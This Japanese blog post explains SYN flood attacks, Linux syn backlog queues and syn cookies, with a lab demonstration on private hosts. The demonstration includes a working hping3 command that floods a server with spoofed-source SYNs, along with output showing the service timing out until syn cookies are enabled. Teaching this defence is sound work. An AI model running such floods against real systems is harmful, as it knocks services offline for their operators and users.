SYN FLOOD 攻撃を試す


SYN FLOOD 攻撃

送信元 IP を詐称した SYN パケットを大量に送り付ける攻撃。

参考:https://ja.wikipedia.org/wiki/SYN_flood


被害


コネクションキュー(syn backlog)のサイズが小さい場合

サーバ側のコネクションキュー(syn backlog)がいっぱいになり、攻撃でない通常の SYN パケットが破棄され、サービスが応答を返さなくなる


コネクションキュー(syn backlog)のサイズが大きい(無限大)の場合

SYN_RECV なソケットを保持しておくためのメモリ領域が大量に食われ、メモリ不足に陥り、最悪の場合 OOM-Killer やサーバのクラッシュが発生する。

カーネルパラメータ "vm.panic_on_oom" が 0 や 1 だと OOM-Killer の代わりにカーネルパニックとなり、システムダウンすることになる。

(これはこれで、プロセスが殺された状態で運用を続けるくらいならシステムダウンする、という正常な防御機構)


コネクションキュー

まず、予備知識として コネクションキュー を把握しておく。

コネクションキューには backlog と syn backlog のふたつがある。


  • backlog:ESTABLISHED だが、まだ accept(2) によってアプリケーション領域に取り出されていないコネクションをキューイングしておく領域

  • syn backlog:SYN_RECV なコネクションをキューイングしておく領域

# Linux 2.2 より前は、上記のようなコネクションに加え「SYN_RECV なコネクション」も backlog にキューイングされていた。

# 参考:https://linuxjm.osdn.jp/html/LDP_man-pages/man2/listen.2.html

SYN FLOOD は syn backlog をあふれさせる攻撃である。


キューイングの流れ


  1. クライアントから SYN を受け取ると SYN ACK を返すと同時に、syn backlog へ投入する

  2. クライアントから ACK を受け取り TCP コネクションが確立すると syn backlog から backlog へ移動する

  3. アプリケーションから accept(2) で取り出されると backlog からデキューされる


コネクションキューのサイズ


  • backlog:listen(2) の引数 "backlog" の値
    ※net.core.somaxconn より大きくすることはできない

  • syn backlog:synbacklog のサイズを 8~net.ipv4.tcp_max_syn_backlog に丸めた後、2 のべき乗の値に丸めた値

参考:https://wiki.bit-hive.com/linuxkernelmemo/pg/listen%20backlog%20%E3%80%903.6%E3%80%91


syn cookie

著名な SYN FLOOD 対策のひとつ。

SYN_RECV を保持しておくにあたりメモリ上に保持しておくべき値を SYN ACK に含めて、ACK で送りなおしてもらうことで

メモリ使用量や syn backlog の使用量をセーブする仕組み。

参考:https://ja.wikipedia.org/wiki/SYN_cookies

Linux でも syn cookie は実装されており、"net.ipv4.tcp_syncookies" の値によって有効/無効が変わる。


  • SYN_RECV なコネクションの数が syn synbacklog のサイズを超えていない


    • 受け取った SYN に対して通常の SYN ACK を返す



  • SYN_RECV なコネクションの数が syn synbacklog のサイズを超えている


    • "net.ipv4.tcp_syncookies" が 1 の場合


      • 新しく受け取った SYN に対して syn cookie な SYN ACK を返す



    • "net.ipv4.tcp_syncookies" が 0 の場合


      • 新しく受け取った SYN は破棄される






SYN FLOOD 攻撃実践


syn cookie 無効版

syn cookie を無効にしておく。

# echo 0 > /proc/sys/net/ipv4/tcp_syncookies

hping で送信元 IP アドレスを詐称した SYN を大量に送り付けることができる。

これが SYN FLOOD 攻撃。

参考:https://qiita.com/hana_shin/items/8147777ff42e7dad89d6

# hping3 -a 192.168.222.94 -S -p 80 -i u1000 192.168.222.93

SYN FLOOD を食らうと SYN_RECV がたくさん並ぶ。

今回は syn backlog の大きさが 256 なので 256 個ならぶ。

# netstat -aneopt |grep 192.168.222.93:80

tcp 0 0 192.168.222.93:80 192.168.222.94:2942 SYN_RECV 0 0 - on (0.04/0/0)
tcp 0 0 192.168.222.93:80 192.168.222.94:3022 SYN_RECV 0 0 - on (0.14/0/0)
tcp 0 0 192.168.222.93:80 192.168.222.94:3018 SYN_RECV 0 0 - on (0.13/0/0)
tcp 0 0 192.168.222.93:80 192.168.222.94:3082 SYN_RECV 0 0 - on (0.21/0/0)
tcp 0 0 192.168.222.93:80 192.168.222.94:3081 SYN_RECV 0 0 - on (0.20/0/0)
tcp 0 0 192.168.222.93:80 192.168.222.94:3031 SYN_RECV 0 0 - on (0.15/0/0)
tcp 0 0 192.168.222.93:80 192.168.222.94:2916 SYN_RECV 0 0 - on (0.01/0/0)
tcp 0 0 192.168.222.93:80 192.168.222.94:3027 SYN_RECV 0 0 - on (0.14/0/0)
tcp 0 0 192.168.222.93:80 192.168.222.94:2969 SYN_RECV 0 0 - on (0.08/0/0)
tcp 0 0 192.168.222.93:80 192.168.222.94:2900 SYN_RECV 0 0 - on (0.00/0/0)

# netstat -aneopt |grep 192.168.222.93:80 |wc -l

256

この状態では新しい SYN を破棄するので、ブラウザはアクセスがタイムアウトとなる。

まさしく SYN FLOOD によってサービスが応答しなくなった状態である。

# time curl http://192.168.222.93/ssl/index.html

curl: (7) Failed connect to 192.168.222.93:80; 接続がタイムアウトしました

real 2m7.259s
user 0m0.006s
sys 0m0.011s

tcpdump を見ても、SYN ACK が帰ってきておらず SYN をリトライしていることがわかる。

# tcpdump -i ens192 host 192.168.222.93 and port 80 -n -nn

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens192, link-type EN10MB (Ethernet), capture size 262144 bytes
17:24:51.801280 IP 192.168.222.74.37748 > 192.168.222.93.80: Flags [S], seq 3896791351, win 29200, options [mss 1460,sackOK,TS val 264331630 ecr 0,nop,wscale 7], length 0
17:24:52.803262 IP 192.168.222.74.37748 > 192.168.222.93.80: Flags [S], seq 3896791351, win 29200, options [mss 1460,sackOK,TS val 264332632 ecr 0,nop,wscale 7], length 0
17:24:54.807268 IP 192.168.222.74.37748 > 192.168.222.93.80: Flags [S], seq 3896791351, win 29200, options [mss 1460,sackOK,TS val 264334636 ecr 0,nop,wscale 7], length 0
17:24:58.811301 IP 192.168.222.74.37748 > 192.168.222.93.80: Flags [S], seq 3896791351, win 29200, options [mss 1460,sackOK,TS val 264338640 ecr 0,nop,wscale 7], length 0
17:25:06.827313 IP 192.168.222.74.37748 > 192.168.222.93.80: Flags [S], seq 3896791351, win 29200, options [mss 1460,sackOK,TS val 264346656 ecr 0,nop,wscale 7], length 0
17:25:22.859312 IP 192.168.222.74.37748 > 192.168.222.93.80: Flags [S], seq 3896791351, win 29200, options [mss 1460,sackOK,TS val 264362688 ecr 0,nop,wscale 7], length 0
17:25:54.923330 IP 192.168.222.74.37748 > 192.168.222.93.80: Flags [S], seq 3896791351, win 29200, options [mss 1460,sackOK,TS val 264394752 ecr 0,nop,wscale 7], length 0


syn cookie 有効版

syn cookie を有効にしておく。

# echo 1 > /proc/sys/net/ipv4/tcp_syncookies

SYN FLOOD 攻撃をする。

# hping3 -a 192.168.222.94 -S -p 80 -i u1000 192.168.222.93

syn backlog があふれる。

# netstat -aneopt |grep 192.168.222.93:80

tcp 0 0 192.168.222.93:80 192.168.222.94:2942 SYN_RECV 0 0 - on (3.30/2/0)
tcp 0 0 192.168.222.93:80 192.168.222.94:3022 SYN_RECV 0 0 - on (3.70/2/0)
tcp 0 0 192.168.222.93:80 192.168.222.94:3018 SYN_RECV 0 0 - on (3.70/2/0)
tcp 0 0 192.168.222.93:80 192.168.222.94:2916 SYN_RECV 0 0 - on (3.30/2/0)
tcp 0 0 192.168.222.93:80 192.168.222.94:3027 SYN_RECV 0 0 - on (3.70/2/0)
tcp 0 0 192.168.222.93:80 192.168.222.94:2969 SYN_RECV 0 0 - on (3.70/2/0)
tcp 0 0 192.168.222.93:80 192.168.222.94:2900 SYN_RECV 0 0 - on (3.30/2/0)
tcp 0 0 192.168.222.93:80 192.168.222.94:2881 SYN_RECV 0 0 - on (3.30/2/0)
tcp 0 0 192.168.222.93:80 192.168.222.94:2796 SYN_RECV 0 0 - on (3.30/2/0)

# netstat -aneopt |grep 192.168.222.93:80 |wc -l

256

今回は syn cookie が有効なので、即座に応答が帰ってくる。

素敵やん。

# time curl http://192.168.222.93/ssl/index.html

ssl テストページ

real 0m0.012s
user 0m0.003s
sys 0m0.006s

tcpdump を見てもちゃんと SYN ACK が帰ってきていることがわかる。

syn cookie といっても、外から見ればただの SYN ACK であり、syn cookie であるかそうでないかは判断できない。

当然 tcpdump からもどちらであるかは判断できない。

# tcpdump -i ens192 host 192.168.222.93 and port 80 -n -nn

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens192, link-type EN10MB (Ethernet), capture size 262144 bytes
17:29:16.746593 IP 192.168.222.74.37758 > 192.168.222.93.80: Flags [S], seq 750459134, win 29200, options [mss 1460,sackOK,TS val 264596575 ecr 0,nop,wscale 7], length 0
17:29:16.746893 IP 192.168.222.93.80 > 192.168.222.74.37758: Flags [S.], seq 1619927569, ack 750459135, win 28960, options [mss 1460,sackOK,TS val 28789655 ecr 264596575,nop,wscale 7], length 0
17:29:16.746941 IP 192.168.222.74.37758 > 192.168.222.93.80: Flags [.], ack 1, win 229, options [nop,nop,TS val 264596575 ecr 28789655], length 0
17:29:16.747550 IP 192.168.222.74.37758 > 192.168.222.93.80: Flags [P.], seq 1:93, ack 1, win 229, options [nop,nop,TS val 264596576 ecr 28789655], length 92: HTTP: GET /ssl/index.html HTTP/1.1
17:29:16.748387 IP 192.168.222.93.80 > 192.168.222.74.37758: Flags [.], ack 93, win 229, options [nop,nop,TS val 28789656 ecr 264596576], length 0
17:29:16.749113 IP 192.168.222.93.80 > 192.168.222.74.37758: Flags [P.], seq 1:303, ack 93, win 229, options [nop,nop,TS val 28789657 ecr 264596576], length 302: HTTP: HTTP/1.1 200 OK
17:29:16.749142 IP 192.168.222.74.37758 > 192.168.222.93.80: Flags [.], ack 303, win 237, options [nop,nop,TS val 264596577 ecr 28789657], length 0
17:29:16.749625 IP 192.168.222.74.37758 > 192.168.222.93.80: Flags [F.], seq 93, ack 303, win 237, options [nop,nop,TS val 264596578 ecr 28789657], length 0
17:29:16.749768 IP 192.168.222.93.80 > 192.168.222.74.37758: Flags [F.], seq 303, ack 94, win 229, options [nop,nop,TS val 28789657 ecr 264596578], length 0
17:29:16.749787 IP 192.168.222.74.37758 > 192.168.222.93.80: Flags [.], ack 304, win 237, options [nop,nop,TS val 264596578 ecr 28789657], length 0